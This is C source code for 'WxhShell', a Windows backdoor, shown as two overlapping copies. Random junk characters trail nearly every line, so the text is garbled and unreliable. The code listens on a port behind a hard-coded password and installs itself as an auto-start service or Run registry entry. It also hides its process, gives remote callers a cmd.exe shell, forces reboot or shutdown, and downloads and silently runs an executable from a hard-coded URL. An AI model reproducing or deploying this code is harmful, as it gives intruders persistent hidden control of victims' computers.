    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XWq`MwC9  
    else { fw&cv9X(IU  
    closesocket(wsh); YD9|2S!G  
    ExitThread(0); 7|@FN7]5NF  
    } y&n-8L_  
    break; Lo<WK  
    } >b7Yk)[%  
  // 关机 =L\&} kzB  
  case 'd': { ul-O3]\'@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {EjzJr>  
    if(Boot(SHUTDOWN)) x%yzhIRR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); []-<-TqJ  
    else { 1rIL[(r4  
    closesocket(wsh); !59,<N1Iu  
    ExitThread(0); -5b#w"^w^  
    } no$X0ia  
    break; &s8vmUt  
    } 3o2x&v  
  // 获取shell #e[S+a  
  case 's': { Ofc u4pi  
    CmdShell(wsh); 782 oXyD  
    closesocket(wsh); (GoxiX l  
    ExitThread(0); Bdcs}Ga  
    break; ctoh&5%!n+  
  } k?}y@$[)  
  // 退出 Obx!>mI^6  
  case 'x': { F]L96&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '};mBW4z  
    CloseIt(wsh); E#E&z(G2  
    break; A6 I^`0/  
    } <M,<|Y*)  
  // 离开 V$_.&S?(Y  
  case 'q': { Gs>4/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  Xb~i?T;f  
    closesocket(wsh); k*r G^imX  
    WSACleanup(); \8)FVpS  
    exit(1); (~NR."s;  
    break; ` Nv1sA#C  
        } pQ xv_4  
  } +Mb}70^  
  } :<H4hYt2  
\D-X _.v  
  // 提示信息 wn.UjxX.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @ %o'  
} .dn#TtQv  
  } fjMmlp  
It]GlxMX  
  return; M}`T-"qf  
} ]l"9B'XR  
lSy_cItF  
// shell模块句柄 (/S6b  
int CmdShell(SOCKET sock) {]iM5?  
{ I/zI\PP,  
STARTUPINFO si; R ^"*ut  
ZeroMemory(&si,sizeof(si)); +.v+Opp,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6A4{6B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a_z f*;  
PROCESS_INFORMATION ProcessInfo; yQq|!'MKk  
char cmdline[]="cmd"; {>3w"(f7o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D7Ds*X`!l  
  return 0; of'H]IZ  
} .PCbGPbk  
{5SJ0'.B2g  
// 自身启动模式 Yez  
int StartFromService(void) -h2 1  
{ =kw6<!R  
typedef struct Hiih$O+  
{ Pu}PE-b  
  DWORD ExitStatus; ?Hbi[YD  
  DWORD PebBaseAddress; 3V/f-l]X/  
  DWORD AffinityMask; 2\#~%D>[  
  DWORD BasePriority; T'7x,8&2|  
  ULONG UniqueProcessId; ^mZTki4  
  ULONG InheritedFromUniqueProcessId; CYNpbv  
}   PROCESS_BASIC_INFORMATION; +}C M2>M  
u73/#!(1=H  
PROCNTQSIP NtQueryInformationProcess; J!:v`gb#@A  
F5<GGEQb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ; zfBe%Uf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ScC!?rTW~7  
4OdK@+-8U  
  HANDLE             hProcess; !e0/1 j=  
  PROCESS_BASIC_INFORMATION pbi; 7P D D  
tUs{/Je  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \JGRd8S[  
  if(NULL == hInst ) return 0; <$`ud P@  
@3>nVa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (ZEDDV2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m}nA- *  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Alb5#tm:m  
#e;\Eap  
  if (!NtQueryInformationProcess) return 0; e7gWz~  
1H,hw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,6a }l;lv  
  if(!hProcess) return 0; jz$83TB-  
W$Zc;KRz$0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "zN]gz=OV>  
[es-&X07<  
  CloseHandle(hProcess); &MF%zJ6  
agW#"9]WM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;hp?wb  
if(hProcess==NULL) return 0; NYZI;P1DA  
9S[Tan|  
HMODULE hMod; {piZm12q?  
char procName[255]; b."1p7'  
unsigned long cbNeeded; jR&AQ-H&  
c6)q(zz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); awa$o  
ceqYyVy  
  CloseHandle(hProcess); K|LS VN?K  
e#$ZOK)`  
if(strstr(procName,"services")) return 1; // 以服务启动 goV[C]|  
(eAh8^)  
  return 0; // 注册表启动 .J3Dk=/  
} .4wp  
\ >(;t#>  
// 主模块 tJ9i{TS  
int StartWxhshell(LPSTR lpCmdLine) j/xL+Y(=  
{ ]%5DuE\M8\  
  SOCKET wsl; 3QrYH @7zx  
BOOL val=TRUE; 4!dN^;Cb  
  int port=0; 1(**JTe  
  struct sockaddr_in door; $dLPvN  
cTeEND)  
  if(wscfg.ws_autoins) Install(); nUvxO `2  
ctL@&~*nY  
port=atoi(lpCmdLine); }]H_|V*f  
!%?X% @9  
if(port<=0) port=wscfg.ws_port; r='"X#CmV/  
|mfQmFF  
  WSADATA data; n(b(H`1n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~o+HAc`=v  
Z?5kO-[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TK;*:K8oe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Nd~?kZZu  
  door.sin_family = AF_INET; g(Jzu'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5B? >.4R  
  door.sin_port = htons(port); q@p-)+D;  
u5 EHzoq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]cnLJ^2  
closesocket(wsl); "}]1OL SV  
return 1; g`!:7|&,_  
} DLkNL?a  
rs3Uk.Z^ '  
  if(listen(wsl,2) == INVALID_SOCKET) { yk9|H)-z  
closesocket(wsl); ]}cai1  
return 1; 9LGJ-gL  
} $LZf&q:\]*  
  Wxhshell(wsl); (KHTgZ6  
  WSACleanup(); E {d Mdz  
s&p*.I]@>  
return 0; qbkvwL9  
dx@#6Fhy  
} -L6 rXQV@j  
WJZW5 Xt  
// 以NT服务方式启动 `/<KDd:_t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vt[4"eU  
{ 5,'?NEyw  
DWORD   status = 0; b1jh2pG(V  
  DWORD   specificError = 0xfffffff; . x~tEe  
G.O0*E2V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (j+C&*u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zGu(y@o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BSG_),AH  
  serviceStatus.dwWin32ExitCode     = 0; n6[bF "v  
  serviceStatus.dwServiceSpecificExitCode = 0; N<:5 r  
  serviceStatus.dwCheckPoint       = 0; d5]9FIj  
  serviceStatus.dwWaitHint       = 0; xUPM-eF=  
B}gi /  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i)\`"&.j>N  
  if (hServiceStatusHandle==0) return; +M (\R?@gr  
UKQ ,]VC  
status = GetLastError(); qI<6% ^i  
  if (status!=NO_ERROR) {J%hTjCw  
{ `ItMn&P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {Zjnf6d]  
    serviceStatus.dwCheckPoint       = 0; xzy7I6X  
    serviceStatus.dwWaitHint       = 0; >c\'4M8Cz  
    serviceStatus.dwWin32ExitCode     = status; ]~87v  
    serviceStatus.dwServiceSpecificExitCode = specificError; ME1lQ7E4B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "a-Ex ]  
    return; p(%7|'  
  } 1a| q&L`o  
5P -IZ8~$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IQoz8!guh:  
  serviceStatus.dwCheckPoint       = 0; Vur$t^zE  
  serviceStatus.dwWaitHint       = 0; %U)/>Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D.j'n-yw  
} f3|ttUX  
-$?xR](f  
// 处理NT服务事件,比如:启动、停止 ln'7kg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,4jkTQ*@2  
{ yd`xmc)  
switch(fdwControl) -B9C2  
{ #c'yAa  
case SERVICE_CONTROL_STOP: V? w;YTg  
  serviceStatus.dwWin32ExitCode = 0; #!OCEiT_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]=2Ba<)m  
  serviceStatus.dwCheckPoint   = 0; *O#%hTYq  
  serviceStatus.dwWaitHint     = 0; \kvd;T#t6  
  { 7qA0bUee5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tjBs>w  
  } (8qMF{  
  return; 7!#x-KR~5  
case SERVICE_CONTROL_PAUSE: (\, <RC\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yaMNt}y-q  
  break; wxkCmrV  
case SERVICE_CONTROL_CONTINUE: Lz2wOB1Zc+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?!U=S=8  
  break; u&/q7EBfP  
case SERVICE_CONTROL_INTERROGATE: $]%;u: Sa  
  break; 8s/gjEwA  
}; -/ ; y*mP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T(MS,AyD]  
} 9AD`,]b  
%2f``48#  
// 标准应用程序主函数 *&q\)\(3w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0Jm6 r4s?  
{ wdS^`nz|  
{(w/_C9  
// 获取操作系统版本 h$)(-_c3  
OsIsNt=GetOsVer(); X|q&0W=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _7'9omq@  
]>E*s3h  
  // 从命令行安装 <gF=$u|}3[  
  if(strpbrk(lpCmdLine,"iI")) Install(); I@+h| n  
9h> nP8  
  // 下载执行文件 .+MJ' bW  
if(wscfg.ws_downexe) { t.$3?"60~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K#rfQ0QK/!  
  WinExec(wscfg.ws_filenam,SW_HIDE); seC]=UJh#>  
} 0vuL(W8)  
91qk0z`N  
if(!OsIsNt) { ."&,_F  
// 如果时win9x,隐藏进程并且设置为注册表启动 lPx4=O  
HideProc(); ?YWfoH4mS  
StartWxhshell(lpCmdLine); 59!yz'feF  
} gyj.M`+y  
else g@wF2=  
  if(StartFromService()) [Oen{c9 A  
  // 以服务方式启动 o(w!x!["  
  StartServiceCtrlDispatcher(DispatchTable); $R(?@B(  
else c[\ :^w^I6  
  // 普通方式启动 ZUP\)[~  
  StartWxhshell(lpCmdLine); 2+zE|I.  
%a=K:" oU[  
return 0; hTcy;zLLS  
} A]ZCQ49  
%E#OUo[y/  
b~X^vXIv%%  
@ODwO;_R5  
=========================================== KiYO,nD;\  
^ CVhV  
FdEzt  
jXA!9_L7  
7?Q@Hj(:NT  
_nu,ks+  
" U<,@u,_Ja  
]@X5'r"  
#include <stdio.h> e~R; 2bk  
#include <string.h> <"A|Xv'Q  
#include <windows.h> !<r+h, C  
#include <winsock2.h> GslUN% UJr  
#include <winsvc.h> j1 _ E^  
#include <urlmon.h> fm$eJu  
"hwg";Z$n  
#pragma comment (lib, "Ws2_32.lib") Y.` {]rC  
#pragma comment (lib, "urlmon.lib") 0\v98g<[+  
W}m-5L  
#define MAX_USER   100 // 最大客户端连接数 qu]ch&"?U  
#define BUF_SOCK   200 // sock buffer I)#=#eI* :  
#define KEY_BUFF   255 // 输入 buffer <@i.~EL  
dmh6o *  
#define REBOOT     0   // 重启 XMhDx  
#define SHUTDOWN   1   // 关机 3TUW+#[Gu  
+5J"G/f  
#define DEF_PORT   5000 // 监听端口 <$\vL   
pR_cI]{=SA  
#define REG_LEN     16   // 注册表键长度 KrO oxrDcp  
#define SVC_LEN     80   // NT服务名长度 &8'.Gw m}  
XL[/)lX{  
// 从dll定义API l;i,V;@ t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q6A!xQs<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >55c{|"@L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~wnTl[:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #Mo`l/Cwp  
oI=7X*B9  
// wxhshell配置信息 n}==  
struct WSCFG { (IX iwu  
  int ws_port;         // 监听端口 rkhQoYZ[  
  char ws_passstr[REG_LEN]; // 口令 <hi@$.u_Q^  
  int ws_autoins;       // 安装标记, 1=yes 0=no !:e|M|T'I*  
  char ws_regname[REG_LEN]; // 注册表键名 5 e:Urv77  
  char ws_svcname[REG_LEN]; // 服务名 B{|g+c%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hW*2Le!I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }Ictnb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `-zdjc d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xt]Z{:.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YwGc[9=n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ';` fMcN  
U$a Eby.  
}; _3$@s{k-TI  
>}QRMn|@H  
// default Wxhshell configuration y e!Bfz>  
struct WSCFG wscfg={DEF_PORT, tB.;T0n  
    "xuhuanlingzhe", ZK5(_qW&i  
    1, &{QB}r  
    "Wxhshell",  ToNi<~  
    "Wxhshell", `}o4&$  
            "WxhShell Service", f uojf+i  
    "Wrsky Windows CmdShell Service", Wd4fIegk  
    "Please Input Your Password: ", A2'   
  1, /=Ug}%.  
  "http://www.wrsky.com/wxhshell.exe", 2=ZR}8}9Q:  
  "Wxhshell.exe" mY-Z$8r  
    }; ;ak3 @Uee  
1wUZ0r1'  
// 消息定义模块 hZnT`!iFE^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =fMSmn1S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9[DQ[bL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; []Cvma 1\  
char *msg_ws_ext="\n\rExit."; TRz~rW k  
char *msg_ws_end="\n\rQuit."; Pb?H cg  
char *msg_ws_boot="\n\rReboot..."; rh2pVDS  
char *msg_ws_poff="\n\rShutdown..."; Y0BvN`E  
char *msg_ws_down="\n\rSave to "; 4,9AoK)yp  
%u }|4BXoh  
char *msg_ws_err="\n\rErr!"; Qv8#{y@U  
char *msg_ws_ok="\n\rOK!"; n ! qm  
$}oQ=+c5  
char ExeFile[MAX_PATH]; gT @YG;  
int nUser = 0; d;S:<]l'  
HANDLE handles[MAX_USER]; qt]QO1pAd  
int OsIsNt; 3iYz<M  
MSeO#X  
SERVICE_STATUS       serviceStatus; )xQxc.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,2JqX>On>Y  
*p?b"{_a  
// 函数声明 +Smv<^bW  
int Install(void); >0 !J]gK  
int Uninstall(void); x+B~t4A  
int DownloadFile(char *sURL, SOCKET wsh); UTA0B&aB  
int Boot(int flag); |U nTd$m  
void HideProc(void); 1ISA^< M  
int GetOsVer(void); _if&a'  
int Wxhshell(SOCKET wsl); 6AUzS4O  
void TalkWithClient(void *cs); 2DQ'h}BI  
int CmdShell(SOCKET sock); u4VQx,,  
int StartFromService(void); ^S ,E"Q  
int StartWxhshell(LPSTR lpCmdLine); 3\=8tg p  
5YS`v#+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ccz:NpK+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^\N2 Iu>6  
W\.f:"2qr  
// 数据结构和表定义 -D:J$d 6R<  
SERVICE_TABLE_ENTRY DispatchTable[] = *XH?|SV  
{ bDUGzezP<  
{wscfg.ws_svcname, NTServiceMain}, aS~k.^N  
{NULL, NULL} b@YSrjJ  
}; F!]UaEmV  
83R"!w18  
// 自我安装 *\VQ%_wg  
int Install(void) 9q* sR1  
{ w-/bLg[L?$  
  char svExeFile[MAX_PATH]; ULU ]k#  
  HKEY key; }$qy_Esl  
  strcpy(svExeFile,ExeFile); $Z{ fKr  
&)s A(  
// 如果是win9x系统,修改注册表设为自启动 2#+@bk>^{  
if(!OsIsNt) { $ya#-pi`;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D<xPx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "#4PU5.  
  RegCloseKey(key); AO']Kmm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {+C>^b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g"T~)SQP  
  RegCloseKey(key); f[|xp?ef  
  return 0; 8: s3Q`O  
    } /_}v|E0  
  } QyHUuG|g  
} kOtC(\]5  
else { e'\I^'`!M  
j,1,;  
// 如果是NT以上系统,安装为系统服务 2o\\qEYg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +,|-4U@dl  
if (schSCManager!=0) >Y2Rr9  
{ J=\Y4- "  
  SC_HANDLE schService = CreateService /u #9M {  
  ( wh*OD  
  schSCManager, hlUF9}  
  wscfg.ws_svcname, &0>{mq}p,:  
  wscfg.ws_svcdisp, Hfc^<q4a.  
  SERVICE_ALL_ACCESS, "%.#/!RG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *:&fw'vd,  
  SERVICE_AUTO_START, zZf#E@=$|  
  SERVICE_ERROR_NORMAL, +i)1 jX<  
  svExeFile, Hy `r}+  
  NULL, 8"<!8Img  
  NULL, Mb<KZ_wYOX  
  NULL, $~:hv7%  
  NULL, 1%-?e``.  
  NULL M.IV{gj  
  ); Y/$SriC_+'  
  if (schService!=0) Q`//HOM,  
  { )E4COw+  
  CloseServiceHandle(schService); Uc6U!X  
  CloseServiceHandle(schSCManager); ,U7hzBj8k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1:&$0jU&U  
  strcat(svExeFile,wscfg.ws_svcname); gq0gr?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jWoo{+=D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Iy,)>V%iZV  
  RegCloseKey(key); tjTF?>^6|  
  return 0; WYh7Y  
    } CY 7REF  
  } R -h7c!ko  
  CloseServiceHandle(schSCManager); |j!D _j#U  
} 6 XG+YIG6w  
} nut7b  
h5Z\9`f[  
return 1; 2xnOWW   
} _ Po9pZ  
HwGtLeB"  
// 自我卸载 xj~6,;83xR  
int Uninstall(void) -Kc-eU-&q  
{ 7dakj>JM  
  HKEY key; "*T)L<G  
S_QDYnF)`  
if(!OsIsNt) { 2`},;i~[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { awawq9)Y  
  RegDeleteValue(key,wscfg.ws_regname); #2MwmIeA  
  RegCloseKey(key); m:^@AR1%d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _9-Ajv  
  RegDeleteValue(key,wscfg.ws_regname); 3a5H<3w_  
  RegCloseKey(key); cK258mY  
  return 0; Z/I!\  
  } :C&?(HJ&r  
} |z4/4Y@  
} cn#a/Hx  
else { 54OYAkPCk  
t.zSJ|T_&O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _I!Xr!!)a0  
if (schSCManager!=0) FFkG,XH  
{ Kzm_AHA)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X}!_p& WI  
  if (schService!=0) *p-Fn$7\n  
  { < d]|5  
  if(DeleteService(schService)!=0) { ! Q#b4f  
  CloseServiceHandle(schService); Cjh&$aq  
  CloseServiceHandle(schSCManager); 01dx}L@hz  
  return 0; V?"^Ff3m!  
  } Zu$f[U)X  
  CloseServiceHandle(schService); Za} |Ee  
  } V ": BAn  
  CloseServiceHandle(schSCManager); i-<=nD&?t  
}  ZBXGu f  
} 1t0F J@)*  
TM}F9!*je  
return 1; X+3)DE\2  
} sV6A& Aw  
e!8_3BE  
// 从指定url下载文件 BuYDw*.  
int DownloadFile(char *sURL, SOCKET wsh) I%&9`ceWY  
{ q^cFD  
  HRESULT hr; w?*KO?K  
char seps[]= "/"; Mz^s^aJEE  
char *token; c>R(Fs|6  
char *file; K8 Y/XEK  
char myURL[MAX_PATH]; cg.e(@(  
char myFILE[MAX_PATH]; HLk"a-+'  
GW#kaqC1  
strcpy(myURL,sURL); Psa8OJan  
  token=strtok(myURL,seps); C{Ug ?hVP  
  while(token!=NULL) ]Yu+M3Fq  
  { acZHb[w  
    file=token; StL[\9~:  
  token=strtok(NULL,seps); 8_m9CQ6 i  
  } Zz-;jkX)  
FNM"!z  
GetCurrentDirectory(MAX_PATH,myFILE); nnNg^<[k3  
strcat(myFILE, "\\"); Bg h$P  
strcat(myFILE, file); r8%,xA&  
  send(wsh,myFILE,strlen(myFILE),0); 4sQAR6_SW~  
send(wsh,"...",3,0); D.o|($S0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #}(Df&  
  if(hr==S_OK) e W)I}z +{  
return 0; N)*e^Nfb  
else N^]>R :Stu  
return 1; @>IjfrjV  
$0SZlq>En  
} -l@W)?$  
UMwMXmZNJ  
// 系统电源模块 ls\E%d  
int Boot(int flag) }.cmiC  
{ +fQL~ 0tA  
  HANDLE hToken; 25n (&NV  
  TOKEN_PRIVILEGES tkp; rOHW  
(I ds<n"  
  if(OsIsNt) { Qsxkw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h&M RQno  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r_,m\'~s !  
    tkp.PrivilegeCount = 1; )v{41sM+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;T{/;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ynbpewaa  
if(flag==REBOOT) { :@`(}5F4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kr`BUW3  
  return 0; h_chZB'  
} x<j"DS}S)D  
else { `6N-MsP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u%1k  
  return 0; if[o?6U4t  
} B/D\gjb  
  } n~ >h4=h  
  else { iQzX-a|4]  
if(flag==REBOOT) { c`i=(D<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +#uNQ`1v  
  return 0; G(OT"+O,  
} T$^>Fiz{Se  
else { dXcPWbrU4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hHc^ZA  
  return 0; $JhZ'Z  
} n;kciTD%wK  
} 8gbm"!  
nKh%E-c  
return 1; <duBwkiG  
} ]opW; |{e  
8PoHBOxpc  
// win9x进程隐藏模块 :q>oD-b$}  
void HideProc(void) xZP>g  
{ `\ef0  
,%?; \?b%h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K=c=/`E  
  if ( hKernel != NULL ) <E[HlL  
  { f OM^V{)T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f3zfRhkIk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QtnM(m  
    FreeLibrary(hKernel); =XMD+  
  } {b|3]_-/  
^Y{6;FJ  
return; !dyxE'T2  
} \)^,PA3  
8tLT'2+H#  
// 获取操作系统版本 "%oH@ =  
int GetOsVer(void) {d 1N&  
{ ASKAgU"h  
  OSVERSIONINFO winfo; pcI&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;wJ7oj<  
  GetVersionEx(&winfo); #~H%[ sa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) | V.S.'  
  return 1; 4_Qa=T8  
  else "UQr:/  
  return 0; V[o7J r~  
} SON ^CvMs{  
Io$w|~x  
// 客户端句柄模块 V!T^wh;  
int Wxhshell(SOCKET wsl) z5XYpi_;[  
{ Z/2,al\  
  SOCKET wsh; ,f8}q]FTA  
  struct sockaddr_in client; )XLj[6j0  
  DWORD myID; &`9j)3^J.  
z.eJEK  
  while(nUser<MAX_USER) Ik`O.Q.}  
{ o3Mf:;2cC  
  int nSize=sizeof(client); D:=t*2-Iv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h&)fu{   
  if(wsh==INVALID_SOCKET) return 1; oR*ztM  
w Y8@1>ah  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X AQGG>  
if(handles[nUser]==0) `wNm%*g  
  closesocket(wsh); Y\.-v\uJu  
else L +L 9Y}  
  nUser++; aXMv(e+  
  } /_]ltXD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hHcJN  
T!MZ+Ph`F  
  return 0; !n|#|.0m  
} + c`AE  
?#d6i$  
// 关闭 socket :.Y|I[\E%  
void CloseIt(SOCKET wsh) js~tKUvg  
{ W%TQYR  
closesocket(wsh); b)N[[sOt  
nUser--; d:A}CBTSY  
ExitThread(0); W7t >&3l  
} *P`v^&  
hw;0t,1  
// 客户端请求句柄 KE<kj$  
void TalkWithClient(void *cs) Re>AsnA[  
{ tE@FvZC'=  
X2qv^G,  
  SOCKET wsh=(SOCKET)cs; t#Th9G]1  
  char pwd[SVC_LEN]; WJfES2N  
  char cmd[KEY_BUFF]; GD!- qH  
char chr[1]; ;+sl7qlA4  
int i,j; wqUQ"d  
^5>s7SGB"  
  while (nUser < MAX_USER) { 6JhMkB^h  
um7o!yg,  
if(wscfg.ws_passstr) { X1oGp+&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P^pFqUL7#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1]T|6N?  
  //ZeroMemory(pwd,KEY_BUFF); ND5$bq Nu?  
      i=0; >)NQH9'1  
  while(i<SVC_LEN) { ;FU|7L$H  
k^%2_H  
  // 设置超时 PnA?+u2m  
  fd_set FdRead; 4J5pXlzV  
  struct timeval TimeOut; !;v.>.lw  
  FD_ZERO(&FdRead); w~|1Wd<v  
  FD_SET(wsh,&FdRead); pISp*&  
  TimeOut.tv_sec=8; L2fZ{bgy  
  TimeOut.tv_usec=0; }^Gd4[(,g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hJ f2o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dY!u)M;~~  
o_f-GO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \K7t'20  
  pwd=chr[0]; 9pL g+6O  
  if(chr[0]==0xd || chr[0]==0xa) { ~}'F887f  
  pwd=0; [|RjHGf  
  break; };b1ahaG  
  } 8AL\ST51x"  
  i++; <??umkV  
    } M:n6BC>t"  
=sgdkAYwP  
  // 如果是非法用户,关闭 socket =rFN1M/n{E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o ehaQ#e  
} Y3Oz'%B  
~aTKG|74  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); </[: 9Cl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); poT&-Ic[  
2eb1 lJdS  
while(1) { ,<` )>2 'o  
8e&p\%1  
  ZeroMemory(cmd,KEY_BUFF); 8)j@aiF`  
*if`/N-q(m  
      // 自动支持客户端 telnet标准   fCw*$:O  
  j=0; *[}^[J x  
  while(j<KEY_BUFF) { FX}Gt=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5,)vJ,fs  
  cmd[j]=chr[0]; 4aUiXyr*2  
  if(chr[0]==0xa || chr[0]==0xd) { %*}Y6tl'|  
  cmd[j]=0; Dw6fmyJ:  
  break; B?bW1  
  } eWs&J24  
  j++; v,@F|c?_S  
